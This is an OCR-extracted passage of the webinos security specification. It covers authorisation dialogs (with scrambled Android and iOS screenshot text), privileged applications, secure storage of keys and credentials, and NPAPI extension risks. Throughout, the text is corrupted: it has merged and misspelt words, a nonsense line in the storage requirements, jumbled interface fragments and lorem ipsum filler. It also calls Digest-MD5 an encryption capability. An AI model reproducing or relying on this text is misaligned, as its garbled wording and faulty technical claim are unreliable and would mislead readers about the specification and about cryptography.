1 PSUSROxford67 : webinos shall remove access to any additional authorisation credentials
when a user logs out.

1 NCDWRPOLITEDO7: The webinos runtime must be &blo provide information to
authorised applications about device physical features. Some examples are screen resolution
and size, number of audio input/output channels, microphone availability, touch screen
support, proximity.

Based on these requirementaa the rest of the specification, authorisation is required for the
following actions:

T installation and execution of applications;
1 application actions, including:
0 use, storage and disclosure of application data;
o use of device features;
0 querying device spfications, including supported media formats and platform
software state;
0 use, storage and disclosure of contextual user data;
granting particular end users access to applications and services;
installation and use of policies;
the destination of webinosvent messages (primarily devices and applications);
the installation and selection of signing authorities;
updating applications and policies; and
device and service discovery/detection.

=A =4 4 4 -4 4

The majority of these do not present any obvious challenges tasee, or are out of scope of this
phase of webinos development (policy editing, selecting signing authorities). However, in the
following section we identify several areas where some data is expected to be presented to the user.

We have not considered unthorised copying and distribution of applications in this phase of the
security architecture, as pé&tSDEVambiesensed?2 .
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3.4.2.2 Related technology and research

3.4.2.2.1 GUIs from Android:

VB 11:22°

> &/, WA E O 11:26 | Location & security settings

I. oogle oggles My Location
Google Inc.

Use wireless networks

[= ,-__-I,
3

This application has access to the
following:

A Your location
coarse (network-based) location, fine

(GESY location
|GF3) locatlion

Screen unlock

& Network communication
fullnternet access Change screen lock
& Your personal information ange or disable pattern, PIN, or p:

-ead contact data, write contact data

A Your accounts

Use tactile feedback
i OK H Cancel L

Access download manager.
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3.4.2.2.2 GUIs from iOS

.. _02-UK & 11:05 venfimY

Location Services M\

Allow the apps below to determine your
approximate location.

Turn On Location Services to © camera m\

Allow “Maps” to Determine

Your Location % Compass @:\
T T
Settings " Cancel J n Facebook m‘

E\ Maps \7 OFF
ﬂ Pingle ‘7 OFF
@ Safari | OFF

@ TrackMe @:‘

3.4.3. Threats and challenges

Authorisation is used to mitigate threats where entities (applications, users, devices) attempt to
perform an undesirable action. The mainallenge associated with runtime authorisation is

usability: pesenting users with enough information to make informed decisions at runtime
(informed consent) while not overloading them with too many decisions. The result of requiring too
many authorisation decisions is potentially to train users to always selecaine "yes" or "no"
response regardless of the situation.

Authorisation decisions may also be cached by the system, an example of which is the "sudo”
command in some UNIX operating systems. The caching of these decisions may result in undesired
behaviour uless this is managed appropriately.

3.4.4. Authorisation User Interfaces

3.4.4.1 Install -time authorisation

We do not specify the precise interface that must be implemented by the webinos runtime, as this
may differ sightly on each platform. However, the following example demonstrates our
expectations:
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Permissions

This page allows you to set permissions for the application you are installing.
By default you only set the permissions for the CURRENT device.
You can set permissions across devices, by clicking the button below.

= Samsung

' ki Current Device Galaxy Tab 10.1
Location

1. Use coarse (network-based) location \ ON |
This is used for providing location-based )
information such as nearby points of interest.

This data will not be collected by any third party.

ON |

2. Use fine-grained location [ on | ON
This is used for providing location-based ‘
information such as nearby points of interest.
This data will not be collected by any third party.

3. Allow storage and retrieval of location
information
This information is used for providing
recommendations based on your history of
locations visited.
This data will be stored in your personal zone and
can be deleted at all times.

‘v On ’Request’ Off I | On {Requesﬂ Off [

Network

1. Allow network access ON \ ‘ OFF
Network access is needed to provide you with . ) N
accurate and up-to-date information. No
information is shared with third parties.

2. Allow storage and retrieval of connections OoN | ) ( | oFf |
This is used to limit the traffic used, information will - -— —L
only be retrieved if the information on your device is
out-of-date

Lorem ipsum dolor sit amet, consectetuer adipiscing elit. Nam nibh. Nunc varius
facilisis eros. Sed erat. In in velit quis arcu ornare laoreet. Curabitur adipiscing luctus
massa. Integer ut purus ac augue commodo commodo.

Note that the key difference between this example and that on Android is thatfiiaimed
permissions can be granted or denied on a-permission basis. Furthermagreach permission can
state details about why it is requested and what will happen to the data given to the application.

3.4.4.2 Inter -device authorisation

Another place where authorisation will occur is when two devices in different personal zones
attempttouseS I OK  2réséURe$IThis is discussed in the authentication sectido@iment
3.1
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While not strictly just to do with authorisation, many requirements specify that users should be able
to control whether their device is visible and discoverable to others. Similarly, users often assume

GUIs for authorising discovery and controlling identity

that controls on location data are quickly available. The following interfaces demonstrate our

expectations:

lam...

The above example shows the interface presentechénd user when they are logged in and have

Logged in
Jahn Lyle [Webinos Personal Zone)
Jahn.p.lyle [ Facebook)

@jphyle (Twitter)

Anonymous
Baob (Pseudonym)

New...

made certain online identities available.

lam...

Anonymous
Baob (Pseudonym)

New...

Privacy controls v
Turn off location data
Make my device invisible to others

View app policy settings...

The above example shows a more sophisticated interface presented to the user who wants to
remain anonymous and turn off location and device discovery.

3.4.4.4 GUIs for identifying application data usage

Following the principle of "not obscuring actual information flow&derer04, we have also
considered our expectations of GUIs for showing application behaviour.
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What information has Application X seen?

-

Data type Details How often? Change rights

Profile information Mame, gender 17 times in the last week
My location GPs S times in the last month
Fhotos Camera photos Once
Contacts Newver Newver

I Wiew detailed history... ]

3.4.5. Future directions

The proposed solutions still have many security and privacy issues. Firstly, it is unclear whether
authorisation dialogues can provide sufficient information so th&armed consenis practical. If

not, users will be forced to ake decisions without the knowledge they need to make the right
choice. This is fundamental to privacy and a major problem that webinos aims to avoid. It is
expected that further modification to GUIs will be necessary to get this right.

Another common prokem in security and usability is that runtime authorisation is used
inappropriately. Often the runtime must make a decision about whether to trust another entity (a
device, applicationgr network) and this is pushed to the user who is not able to makeaaagnable
choice and will always chose the most convenient option. Runtime authorisation must occur
infrequently and the user must be reasonably likelghmoseto not authorise a decision, otherwise

it serves little purpose. To this end, we intend to &ryd take advantage of the related research in
the PRIMMA projectRRiIMMA investigating the use of the most appropriate notification system for
user privacy decisions.

3.5. Privileged Applications

3.5.1. Introduction

A Privileged application is an application that has full access to the webinos runtime and can use
non-public APIs. It can potentially access and modify standard system controls (policiebekd ¢

for specific user IDs (UIDs), group IDs (GIDs), authorizations, or privileges. Privileged applications and
services in webinos are necessary for the following situations:

1. To modify and view security and privacy policies
2. To modify and view stored comtedata
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3. To create applications which take advantage of+pablic webinos APIs. These applications
should become noprivileged as soon as the APIs are published

4. To access system commands and classes which manage OS services and other sensitive data.

5. Monitoring system activity and report errors for debugging.

This section describes additional security aspects in the area of privileged applications and services.
3.5.2.  Background

This section includes the technical use cases aqdirements identified from theWebinosD22
and WebinosD21) in the area of Privileged Apps and Services.

3.5.2.1 Related User Stories

WOSUS7.1: Designing Polieaware webinos Applications
WOSUS7.4: Privacy Controls and Analytics for Corporations and Small Businesses

3.5.2.2 Related Use Cases

WOSUGTAB8002: Interpreting policies and making access control decisions
WOSUCTAB8003: Enforcing multiple policies on multiple devices

WOSUGCTAB8007: Policy autoring tools

WOSUGTA4013: Dynamically Sharing Content with other Users in a Controlled Manner
WOSUGTAZL008: Webinos Federation

WOSUGTA4014: Continuous sharing of a medical file through webinos enabled devices
WOSUGTAZ008: Create contexts fro a predefined template

=A =4 =4 4 -4 -4 -4

3.5.2.3 Related Requirements
This section of the specification aims to satisfy (partially) the following requirements:

1 PSUSROxford50: Users shall be provided with the ability to identify applicatiasch
have been granted particular privileges.

1 PSUSROxford51: Users shall be able to view a list of all of their webinos applications and
show the authority that certified the application.

1 PSUSROxford116: The webinos Runtime Environment shall protect applications and itself
from potentially malicious applications and shall protect the device from being made
unusable or damaged by applications.

17 PSDWRISMB202: The webinos runtime must ensure that an application does not access
device features, extensions and content other than those associated to it.

1 PSUSROxford35: webinos access control policies stlable to specify fingrained
controls involving the source and content of an access control request.

1 PSUSROxford38: webinos shall allow policies which specify confirmation at runtime by a
user when an access reggtadecision is required.
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1 PSUSROxford115: webinos shall encourage good design techniques and principles so
users are not forced to accept unreasonable privacy policies and access control policies.

1 PSUSROxford72: The webinos system shall support applications which apply access
control policies to data produced or owned by the application developer. These policies may
support revocation of access control policies.

1 PSUSROxford36: webinos APIs shall provide error results when an access control request
is denied.

1 PSUSROxford34: webinos shall provide complete mediation of access requests by
applications anenforce all policies.

1 PSUSROxford17: The webinos Runtime Environment shall be capable of setting dynamic
access control policies for device data when initiating an association to another webinos
Device.

1 PSDEVOXxford28: The webinos Runtime shall provide access control for context structures
with userdefined policies.

3.5.3. Threats
The main threats caused by privileged applications are the following:

1 Amaliciousprivileged application could be installed and then take control over all aspects of
the personal zone. This could perform denial of service attacks, steal identity information or
perform other undesirable activity.

1 An unprivileged application takeslvantage of a privileged application on the system to
access resources and data it should not have access to.

1 A privileged application unintentionally exposes private or confidential data.

The threats from privileged applications are significant, asudised in the following quote:

' "As with Windows, the most infected computers are those on which users have
administrator privileges, the greatest risk of infection is faced by those Android
systems which have been jailbroken," Kaspersky analyst Yury akoss "Mobile
malware communicates with its owners using a method that is widely employed by
Windows malware via commaneand-control centers, which will ultimately lead to
the emergence of mobile botnets," he add$.eyder2017).

3.5.4. Security Policy settings for privileged applications

Webinos supports two tiers of access for applications. Normal applications are capable of anything
their XACML policies say they a@pable of doing, which is restricted to accessing only public APIs
defined in WebinosD32). Privileged applications, on the other hand, are capable of accessing any
internal functionality of webinos, including native coeleecution, access to secure storage, and

more.
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A privileged application, like any other webinos application, is signed by a private signing key. This
key must have a certificate held on the device in and marked in the system policy as being valid for
privileged applications. It is expected that on many devices the only privileged applications may be
those issued by the original manufacturer or network operator.

When anapplicationis installed, webinos will mark some applications as privileged. The rudes an
impact of doing so are defined as follows:

1 Applications signed with a certificate from the an authority deemed to be capable of giving
full privileges (i.e. one who's certificate is marked by the policy as being allowed to do so)
can execute with privilged permissions and therefore have full access to the webinos
device.

1 All other applications run with normal permissions. Applications running with normal
permissions are constrained by policies, but this may allow them to read from protected
areas of thepersonal zone storage, and read contents of files stored by the PZP. They cannot
write to policies, system files, or execute native code.

1 Privileged applications on one device in a personal zone are not allowed to have full
privileges on another iaone de&ice. However, they are permitted to modify policies and
synchronised settings, so they can potentially do this if necessary.

3.5.5. Future Directions

Privileged applications are a necessity in application environmentsagsiebinos. However, they

have a significant risk and should be avoided where possible. The main focus in the future will be on
developing mitigation strategies for dealing with privileged applications, including further

monitoring, reporting and acces®ntrol restrictions. At the same time, the reasons for developing a
privileged application will be removed by exposing more public API functionality (so that normal
applications are able to do more) and improving support for extensions so that nativbiliidgm

are implemented there.

3.6. Secure Storage

3.6.1. Introduction

This section describes conceptual components and threats for securely storing data in the PZP/PZH.
PZP data will be storddcally on the device and, for PZHs, will be stored in the cloud. Data on both
nodes need to be secured and managed from all threats. The information related to user identities,
key, certificates and password are the one that need to be guaranteed mestuofe storage in the
webinos platform.

Functional aspects relating to storage are illustratethemwebinos use cases and requiremerits
some scenarios, it is explicitly mentioned and, in some cases, assumed that storage is secure during
the event flavs. The section below highlights the relevant use cases and user stories.
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The API's required for accessing this section are expected to be covered in Phase 2. The components
defined in this section are recommendations and could be considered during phatfor
implementation.

3.6.2. Background

3.6.2.1 Related User Stories

WOSUS2.2: Creating Applications for webinos
WOSUSS3.1: Content Sharing Service
WOSUSA4.2: Ordering a Videon-Demand Film
WOSUSS5.1: Context Sensitive Triggering

=A =4 =4 4

3.6.2.2 Related Use Cases

1 WOSUGTA4005: Progressive Download and Store Content in a Secure File Storage
1 WOSUCTA4020: Content Sharing and Storage
1 WOSUCTA8012: Local storage of credentials

3.6.2.3 Requirements

1 PSDEVOxford86: The vebinos runtime shall support the confidential storage of user
credentials using usernames and passwords.

1 PSUSROxford59: The webinos runtime environment shall securely store application data
to prevent disclosure tomauthorised entities.

Requirements for Secure Storage at Personal Zone Proxy/Personal Hub

1 User policies: To store user policies so that they are available when user connects to the
device

1 User Authentication details: Keys, certificates and password
1 Userdevice details: List of user devices
T ' ASNJ FNASYRQA fAAlG YR RSOAOS AyF2NNIGAZY
1 Atomicity of data if updated via user or personal hub based on synchronization techniques.
f If device is shared between multiple users, then storage should not be accessitest

user.
1 Context data and analytics data

1 Network storage and photo storage that user uses to store data in cloud.
3.6.3. Components

Two most important aspects of storage are file system and key exchange between devices. File
system security is controlled via access control list and encryption mechanism used to control
different file system area. Key exchange is more about private key and synchronization between PZP
and PZH.
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3.6.3.1 Encrypted file system

Traditionally file systems at@erarchically structured stored in the form of trees. Based on the tree
structure, access to different areas is controlled by access list control mechanism. To be secure,
webinos should aim to provide both access control and encryption mechanisms.

Webinas sits on top of underlying OS and the area of the memory available should be access
controlled depending on user and application usage. Suggested levels of access control to webinos
memory area:

1 Unsecured (but still not public): Any application can ugs inemory location where data
stored is not required to be secured. External user will not be able to access this memory
location but memory area will not be encrypted.

1 Appspecific secure storage: Context data related to the application, data collastpdrt of
analytics or any other application data can use this storage area. Data security in this section
is application responsibility. This storage should not allow someone scanning memory to
collect application collected data. The encryption mecharttsat application developer can
use to secure storage in this area will be based on Security Cryptography API's.

1 Webinos platform secure storage: Storage area to store XACML policies, user credentials,
keys and password. The security for this area shbelldighly secured and access to this
area should be user credential control. The cryptographic mechanism used will be highly
secure, and the webinos platform is responsible for secure data storage.

The file system architecture implementation is dependentioe underlying OS and device.
Depending on the implementation, the access control mechanism and encryption specific support to
different memory area should be supported.

3.6.3.2 Key Exchange and Synchronization

Keys and certificates stored in PZP need to beangbd with PZH. As part of authentication, keys

are exchanged based on a public / private key mechanism. Private keys that will be used will be
securely stored locally in user devices. Sending devices will send public keys and user details that a
private ley can use to decrypt key data. More details about the private and public key usage are
specified inAuthentication Specificatian

PZH will act as a point for storinglevant data securely for each device. Synchronization needs to
take place when a device connects to PZH or when there is some context data. As part of webinos
platform, secure storage, certificate or password information might need to be updated between
PZP and PZH.

In order to support webinos, the platform shall guarantee that device exchanging details are
connected securely over TLS, and the user is securely authenticated with the device. All the data
exchanged will be encrypted using cryptographic nagism used while authenticating.


http://dev.webinos.org/redmine/projects/wp3-1/wiki/Spec_-_Authentication
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3.6.4. Security and privacy issues
Some of the identified security issues and solutions for secure storage are listed below:

1 Loss/Forgotten Keys: In public private key infradtrg the user's private key plays an
important role for authenticating. If a user loses or forgets this key then the user will have
problem authenticating with webirn® To handle this, webinos should suppofbegotten
key retrieval mechanism such as thee of mobile phones to retrieve password, or PINs sent
via SMS to generate new password.

1 Hardware attacks: Lost devices should divulgeuser identities, password and certificates.
To support this, webinos platform will require user authenticatiorhvdievice and shall
provide cloud based service to revoke password and certificate stored in this device. Access
to secure storage will require credentials.

1 Synchronisation to device with lower encryption capabilities: In case devices authenticate
with the lower encryption supported devices, these need to guarantee that data exchange
supports a minimum of Dige#tiD5 encryption capability.

3.6.5. Future directions

The second phase of webinos development will consider fuldkeure storage issues. An important
feature requiring more work is the revocation of keys used for encrypted storage. In particular,
corporate use cases require the removal of confidential company data if the device is lost or stolen.
Many existing mobil@hones contain this capability, including Android and RIM, and webinos could
provide this on other devices such as TVs and cars which may otherwise be forgotten.

A further issue is the policies governing the synchronisation of confidential data. In sse® c
applications may want the ability to synchronise their data store between user devices. However,
some data may be marked so that it is not shared with-fex3ire devices. Furthermore,
synchronisation policies may govern exactly how some data isedlto be stored on each device
(e.g. encrypted, using secure hardware).

Digital Rights Management is another capability we would like to expose to webinos applications,
and the best way of doing so should be included in phase two ddritigtectureto saisfy several
ecosystem requirements.

Finally, we would like to take advantage of the hardwiased cryptography which exists on some
platforms (e.g. the Trusted Platform Module on the PC) to provide hardbacked secure storage.

This would allow the dece to protect itself from the loss of data even when malicious software is
present or a custom ROM is installed. It would also increase the security available for a digital rights
management system.
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3.7. Security for Extensions

3.7.1. Introduction

Webinos extensions will be based on the NPAPI Star(fléodillaPluginDirectory}his raises several
security risks which have to be reflected in the webinos security architecture. Theeatale has to
balance the security of the whole system on the one side and the flexibility of extensions on the
other. An extension requires access to the underlying operating systems by definition, but breaks
the natural sandbox of the browser runtime.

3.7.2. Background

3.7.2.1 Requirements

The requirements for the extensions handling focus on the secure execution of applications (known
behaviour of the application), the usawarenes®f the functionality and risks exposed by

extensiors and the possibility of the user to control the access to extensions. These requirements
apply to the some extend to the generic access of device resources.

This section of the specification aims to satisfy (partially) the following requirements:

1 PSUSROxford17: The webinos Runtime Environment shall be capable of setting dynamic
access control policies for device data when initiating an association to another webinos
Device.

1 PSUSROxford106: When installing or using an application for the first time, webinos shall
make sure that the user trusts the source of the application.

1 PSUSROxford116: The webinos Runtime Environment shall protectlaggions and itself
from potentially malicious applications and shall protect the device from being made
unusable or damaged by applications.

1 PSDEVambiesensé?5: The webinos runtime shall protect policies fronmiaering or
modification by unauthorised applications. The only authorised applications shall be from
signed, trusted sources, which may be defined by the manufacturer, network provider, or
end user.

1 PSDWRISMB202: Thewebinos runtime must ensure that an application does not access
device features, extensions and content other than those associated to it.

1 PSUSROxford53: webinos policies shall be capable of referring to and spegifyi
restrictions on device capabilities and features, application data, context and personal
information held in webinos, and access to other devices and applications.

1 PSUSR DEWxford44: Applications shall speciét install time (or first use) the
functionality they require access to.

1 PSUSR DEWxford45: Users shall be able to specify at application install time (or first use)
which functionality they permit an applicatido have access to.

1 PSUSR DEWxford46: Applications shall request for access rights to any device feature or
policy-controlled item prior to accessing it. If an access request is denied, applications shall
be naified to deal with this gracefully.
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3.7.2.2 Related technology and research
Browser vendors have integrated mechanisms to secure the usage of NPAiRkplug

1 Chrome and Firefox are using a biiltgeneric NPAPI pltig for identifying missing but
required plugins. As a baeknd infrastructure for this; Mozilla and Google maintain a
repository for trusted NPAPI plags MozillaPluginDirectory The generic plutn queries
the hosted directory for a trusted pldg suporting the unknown MIMBype, downloads
the binary and stores the pldg binary inside the common pltig folder of the device to
enable the usage by the browser.

1 For Chrome extensions embedding NPAPI-piadnside extension package, Google does
not publish the extension on their Chrome app store until the extension has been tested
against malicious behaviour of the NPAPI ptugChromeNpapiExtensions

1 Furthermore, Google introduced the Native Client (N&C8nable the secure execution of
native code inside the browser environment. But this concept reduces the possible
functionality of an extension significanti§ggogleNativeCliefit The NaCl runtime prohibits
all acess to OS services (e.g. network or file system).

1 The Firefox adén "NoScript" illustrates how the user can enable or disable specifieipgug
for certain origins (protocol, domain, port) depending on his choldeScrip}

3.7.2.3 Threats

NPAPI's unrestricted access to operating systarhich is needed to enable extensions in webinos
introduces infinite security risks, such as:

1 Manipulation of the file system
1 Access to sensitive data
1 Uncontrollable network access

3.7.3. Components

3.7.3.1 The application installer

For extensions that are part of the application package the application installer verifies the signature
of the package and allows or disallows the installation of application including therplug

accordingly. Furthermore the application installer informs the user of the potential security risks and
enables the user to prohibit the installation of the pling(defining policy). After the integrity of the
application has been verified and the user laaproved the installation of the application, the

installer extracts the platform relevant NPAPI binary from the application package and stores it
inside the common plun folder of the browser.
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3.7.3.2 The application launcher

The application launcher chectkee application manifest and the policies files regarding the usage of
the extension and enables the access to the phggaccordingly. The access to extensions is disabled
by default.

3.7.3.3 Secure storage for certificates

The secure storage is used to store tielevant policies and certificates for the installation and
execution of webinos extensions.

3.7.3.4 Application packaging: manifests and resources

Inside the manifest the embedded phugs are defined, seaNebinosD31) for more cetails.































































































































































